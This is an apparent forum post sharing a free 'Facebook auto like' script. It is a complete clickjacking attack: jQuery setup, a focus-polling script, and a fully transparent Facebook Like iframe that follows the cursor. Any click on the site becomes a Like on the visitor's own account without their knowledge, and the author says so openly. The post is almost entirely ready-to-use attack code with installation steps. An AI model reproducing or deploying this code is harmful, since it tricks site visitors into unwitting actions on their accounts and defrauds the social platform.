- [FREE] Facebook Auto Like Script
- I've seen a LOT of people trying to sell a script to auto like external pages. It's not worth it. This little script will auto like any external page it's loaded on if the user clicks anywhere on the site. It works. It's free. It can be altered to auto click on page_load too, your choice.
- First download "jquery-1.4.2.min.js" the version IS important.
- Code:
- http://code.jquery.com/jquery-1.4.2.min.js
- Place this in your header section, right below <title></title>
- Code:
- <script src="jquery-1.4.2.min.js" type="text/javascript"></script>
- <script type="text/javascript">
- var interval;
- $(function()
- {
- interval=setInterval("updateActiveElement();", 50);
- });
- function updateActiveElement()
- {
- if ( $(document.activeElement).attr('id')=="fbframe" )
- {
- clearInterval(interval);
- iflag=1;
- }
- }
- </script>
- Insert this into your footer section right before </body></html>
- Make sure to change this code to reflect YOUR site url. Look for smokers-outlet.com and replace with YOURS. Unless you want to promote my site :-)
- Code:
- <div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
- <!--facebook like frame code goes here-->
- <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fsmokers-outlet.com%2F&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
- <!--end facebook like frame code-->
- </div>
- <script>
- var iflag = 0;
- var icontainer = document.getElementById('icontainer');
- var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
- function mouseFollower(e){
- /* DO NOT EDIT THIS */
- if (window.event)
- { // for IE
- icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
- icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
- }
- else
- {
- icontainer.style.top = (e.pageY-5)+'px';
- icontainer.style.left = (e.pageX-5)+'px';
- }
- }
- document.onmousemove = function(e) {
- if (iflag == 0) {mouseFollower(e);}
- }
- </script>
- And that's it. Anytime someone views your site and clicks somewhere (we all click, we just don't realize it) you'll get a FB Like on THEIR account.